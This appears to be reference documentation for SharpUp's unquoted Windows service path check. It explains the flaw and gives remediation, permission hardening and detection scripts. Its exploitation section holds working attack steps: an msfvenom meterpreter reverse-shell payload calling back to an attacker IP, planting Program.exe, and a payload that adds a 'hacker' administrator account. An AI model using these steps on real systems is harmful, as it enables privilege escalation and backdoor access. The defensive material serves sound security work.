Overview
The Unquoted Service Path check identifies Windows services where the executable path contains spaces but is not enclosed in quotes. This creates an ambiguity in how Windows interprets the path, potentially allowing an attacker to place a malicious executable that will be executed instead of the intended service binary.
This vulnerability exists because Windows searches for executables by tokenizing paths at spaces when quotes are missing.
How It Works
When Windows tries to start a service with an unquoted path like:
C:\Program Files\My App\service.exe
Windows will search for executables in this order:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\service.exe
If an attacker can write to any of the earlier locations, they can execute arbitrary code.
Technical Details
SharpUp:
Enumerates all services from registry
Extracts the ImagePath value
Checks if path:
Doesn’t start with quotes
Contains spaces
Ends with .exe
For each space in the path, checks if the parent directory is writable
Reports services where malicious executables can be placed
Example Output
=== Services with Unquoted Paths ===
Service 'MyApp' (StartMode: Automatic) has executable 'C:\Program Files\My App\service.exe', but 'C:\Program' is modifiable.
Service 'BackupSvc' (StartMode: Manual) has executable 'C:\Custom Tools\Backup Service\backup.exe', but 'C:\Custom' is modifiable.
Interpretation:
MyApp service has unquoted path with spaces
You can write to C:\ to create C:\Program.exe
When MyApp service starts, Windows will execute C:\Program.exe first
Service runs as SYSTEM, giving you SYSTEM privileges
Exploitation
Method 1: Exploit First Space
# Service path: C:\Program Files\My App\service.exe
# Can write to C:\
# Create malicious Program.exe
msfvenom - p windows / x64 / meterpreter / reverse_tcp LHOST = 10.10 . 10.10 LPORT = 4444 -f exe - o Program.exe
# Copy to C:\
Copy-Item Program.exe C:\ Program.exe
# Restart service or reboot
Restart-Service - Name MyApp
# Or
shutdown / r / t 0
Method 2: Exploit Second Space
# Service path: C:\Program Files\My App\service.exe
# Cannot write to C:\ but can write to C:\Program Files\
# Create malicious "My.exe"
Copy-Item malicious.exe "C:\Program Files\My.exe"
# Restart service
Restart-Service - Name MyApp
Method 3: Persistence via Unquoted Path
# Find unquoted service paths
$services = Get-WmiObject Win32_Service | Where-Object {
$_ .PathName -notmatch '^"' -and
$_ .PathName -match ' ' -and
$_ .PathName -match '\.exe'
}
foreach ( $service in $services ) {
$path = $service .PathName
# Extract path before first .exe
if ( $path -match '(.+\.exe)' ) {
$exePath = $matches [ 1 ]
# Find exploitable space
$parts = $exePath -split ' '
for ( $i = 0 ; $i -lt $parts .Length - 1 ; $i ++ ) {
$testPath = ( $parts [ 0 .. $i ] -join ' ' ) + '.exe'
$parentDir = Split-Path $testPath
# Check if writable
if ( Test-Path $parentDir ) {
Write-Host "[+] Exploitable: $( $service .Name ) "
Write-Host " Create: $testPath "
Write-Host " StartMode: $( $service .StartMode ) "
}
}
}
}
Method 4: Automatic Execution
# If service is set to Automatic, payload runs at boot
# No interaction needed after placing malicious executable
# Create payload
$payload = @"
@echo off
net user hacker P@ssw0rd123! /add
net localgroup administrators hacker /add
exit
"@
$payload | Out-File - FilePath "C:\Program.exe" - Encoding ASCII
# Wait for reboot - payload executes automatically
Identify Unquoted Service Paths
# Find all services with unquoted paths
Get-WmiObject Win32_Service |
Where-Object {
$_ .PathName -notmatch '^"' -and
$_ .PathName -match ' ' -and
$_ .PathName -match '\.exe'
} |
Select-Object Name , DisplayName , PathName , State , StartMode |
Format-Table - AutoSize
Quote Service Paths
# Fix individual service
$serviceName = "MyApp"
$service = Get-WmiObject Win32_Service - Filter "Name=' $serviceName '"
$currentPath = $service .PathName
# Extract executable and arguments
if ( $currentPath -match '(.+\.exe)(.*)' ) {
$exePath = $matches [ 1 ]
$args = $matches [ 2 ]
# Create quoted path
$newPath = " `" $exePath `" $args "
# Update service
sc.exe config $serviceName binpath = $newPath
Write-Host "[+] Fixed: $serviceName "
Write-Host " Old: $currentPath "
Write-Host " New: $newPath "
}
Bulk Remediation
# Fix all unquoted service paths
$services = Get-WmiObject Win32_Service |
Where-Object {
$_ .PathName -notmatch '^"' -and
$_ .PathName -match ' ' -and
$_ .PathName -match '\.exe'
}
foreach ( $service in $services ) {
$path = $service .PathName
if ( $path -match '(.+\.exe)(.*)' ) {
$exe = $matches [ 1 ]
$args = $matches [ 2 ]
$newPath = " `" $exe `" $args "
try {
sc.exe config $service .Name binpath = $newPath
Write-Host "[+] Fixed: $( $service .Name ) " - ForegroundColor Green
}
catch {
Write-Host "[-] Error fixing $( $service .Name ) : $_ " - ForegroundColor Red
}
}
}
Secure Parent Directories
Even after quoting paths, ensure parent directories have proper permissions: # Secure C:\Program Files
icacls "C:\Program Files" / inheritance:r
icacls "C:\Program Files" / grant:r "SYSTEM:(OI)(CI)F"
icacls "C:\Program Files" / grant:r "Administrators:(OI)(CI)F"
icacls "C:\Program Files" / grant:r "Users:(OI)(CI)RX"
Verify Fix
# Re-run check
SharpUp.exe UnquotedServicePath
Should return no vulnerable services.
# Comprehensive unquoted path remediation
$results = @ ()
Get-WmiObject Win32_Service |
Where-Object {
$_ .PathName -notmatch '^"' -and
$_ .PathName -match ' ' -and
$_ .PathName -match '\.exe'
} |
ForEach-Object {
$service = $_
$oldPath = $service .PathName
if ( $oldPath -match '(.+\.exe)(.*)' ) {
$exe = $matches [ 1 ].Trim()
$args = $matches [ 2 ].Trim()
$newPath = if ( $args ) { " `" $exe `" $args " } else { " `" $exe `" " }
try {
# Update service
$result = sc.exe config $service .Name binpath = $newPath 2>&1
if ( $LASTEXITCODE -eq 0 ) {
$status = "Success"
Write-Host "[+] Fixed: $( $service .Name ) " - ForegroundColor Green
}
else {
$status = "Failed: $result "
Write-Host "[-] Failed: $( $service .Name ) - $result " - ForegroundColor Red
}
}
catch {
$status = "Error: $( $_ .Exception.Message ) "
Write-Host "[-] Error: $( $service .Name ) - $( $_ .Exception.Message ) " - ForegroundColor Red
}
$results += [ PSCustomObject ] @ {
ServiceName = $service .Name
DisplayName = $service .DisplayName
OldPath = $oldPath
NewPath = $newPath
Status = $status
}
}
}
# Export report
$results | Export-Csv "UnquotedPathRemediation_ $( Get-Date - Format yyyyMMdd ) .csv" - NoTypeInformation
Write-Host " `n [+] Report saved"
Detection
Defensive Monitoring
# Monitor service configuration changes
auditpol / set / subcategory: "Security System Extension" / success:enable / failure:enable
# Monitor Event IDs:
# 4697 - Service installed
# 7045 - Service installed (System log)
# Monitor registry changes to service ImagePath
$servicePath = "HKLM:\SYSTEM\CurrentControlSet\Services"
Get-ChildItem $servicePath | ForEach-Object {
$acl = Get-Acl $_ .PSPath
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
"Everyone" ,
"SetValue" ,
"None" ,
"None" ,
"Success"
)
$acl .AddAuditRule ( $auditRule )
Set-Acl $_ .PSPath $acl
}
Detection Strategies
File System Monitoring
Service Monitoring
Configuration Auditing
Monitor file creation in Program Files root
Alert on .exe files in unusual locations (C:\Program.exe)
Track file writes to directories containing unquoted service paths
Baseline service configurations
Alert on service ImagePath changes
Monitor service startup failures
Detect unusual child processes from services
Regularly scan for unquoted service paths
Alert when new unquoted services are installed
Track remediation progress
Real-World Scenarios
Scenario 1: Third-Party Application
Context: Third-party monitoring application installed with unquoted path: C:\Program Files\Monitor Tool\service.exeVulnerable Directories:
C:\Program.exe (if writable)
C:\Program Files\Monitor.exe (if writable)
Attack:
Standard user gains access
Finds unquoted path via SharpUp
Places malicious Program.exe in C:\
Waits for service restart or reboot
Service runs malicious Program.exe as SYSTEM
Prevention:
Work with vendor to fix installer
Manually quote service path
Ensure C:\ is not writable by users
Scenario 2: Custom IT Service
Context: IT team created custom service installed to C:\Company Tools\Update Service\updater.exe with Automatic startup.Risk:
Can create C:\Company.exe
Service restarts every boot
Automatic privilege escalation
Solution:
Quote the path immediately
Move service to standard Program Files location
Ensure installation directory has proper permissions
Scenario 3: Legacy Application
Context: 10-year-old application with unquoted service path on 1,000 servers.Challenges:
Vendor no longer supported
Can’t easily update all servers
Service critical for operations
Approach:
Quote paths via automated script
Test on non-production servers first
Deploy via GPO or SCCM
Verify no application breakage
Monitor for issues
Prevention Best Practices
Always Quote Paths Developers: Always enclose service paths in quotes, even without spaces.
Install to Program Files Install applications to standard protected locations.
Regular Audits Periodically scan for and remediate unquoted paths.
Secure Permissions Ensure root directories (C:) have proper write restrictions.
Development Best Practice
// When creating a Windows service
// ALWAYS quote the binary path
string servicePath = @"C:\Program Files\MyApp\Service.exe" ;
// Correct way to register service
sc . exe create MyService binpath = " \" " + servicePath + " \" "
// Result: binpath= "C:\Program Files\MyApp\Service.exe"
// Also acceptable: use InstallUtil or .NET ServiceInstaller
// which automatically quotes paths
References